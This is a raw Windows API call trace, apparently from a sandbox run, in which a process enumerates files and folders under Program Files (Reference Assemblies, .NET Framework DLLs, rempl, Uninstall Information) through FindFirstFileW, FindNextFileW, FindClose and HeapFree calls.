	[0086.127] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5208acea, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5208acea, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb81a9200, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x3d2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1
	[0086.127] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1
	[0086.127] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1
	[0086.127] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522084cb, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522084cb, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x46d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1
	[0086.128] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1
	[0086.128] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522084cb, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522084cb, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1
	[0086.128] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5227abf5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5227abf5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1
	[0086.128] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0086.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811948
	[0086.129] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.129] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4eb997b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1
	[0086.129] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4eb997b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0
	[0086.130] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0086.130] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0086.130] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1
	[0086.130] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9090f3d9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6e7cd0e4, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6e7f3397, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1
	[0086.130] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9089cc9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x67be8f4c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x67c0f17b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1
	[0086.130] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521498dc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521498dc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x57800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1
	[0086.130] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908e9169, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a50a3f9, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6a55675f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1
	[0086.130] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908c2efe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1769df, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6a2819c4, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x516000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1
	[0086.130] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5227abf5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5227abf5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1
	[0086.130] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522ed308, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522ed308, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1
	[0086.131] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522ed308, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522ed308, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1
	[0086.131] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52313584, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x52313584, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xba7cec00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1
	[0086.131] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1
	[0086.131] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1
	[0086.131] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1
	[0086.131] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1
	[0086.131] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522a0e4e, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522a0e4e, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1
	[0086.131] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522c70c1, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522c70c1, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1
	[0086.132] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe797d8f5, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e9367d, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1
	[0086.132] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe797d8f5, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e9367d, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0
	[0086.132] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0086.132] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0086.132] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0086.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x811e08
	[0086.134] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0086.134] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e9adc0, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e9adc0, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1
	[0086.135] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0086.135] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1
	[0086.135] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0086.137] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0086.137] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0086.137] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0086.137] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0086.137] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0086.137] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0086.137] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d339020, ftCreationTime.dwHighDateTime=0x1d5e97e, ftLastAccessTime.dwLowDateTime=0x6e8dccf0, ftLastAccessTime.dwHighDateTime=0x1d5ce50, ftLastWriteTime.dwLowDateTime=0x6e8dccf0, ftLastWriteTime.dwHighDateTime=0x1d5ce50, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1
	[0086.138] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0086.138] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe6c6b241, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6c6b241, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="rempl", cAlternateFileName="")) returned 1
	[0086.143] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0086.145] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl.xml", cAlternateFileName="")) returned 1
	[0086.145] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0086.145] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe6c91704, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6c91704, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0086.146] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0086.146] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe5447ad7, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5447ad7, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UNP", cAlternateFileName="")) returned 1
	[0086.147] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0086.147] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0086.148] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
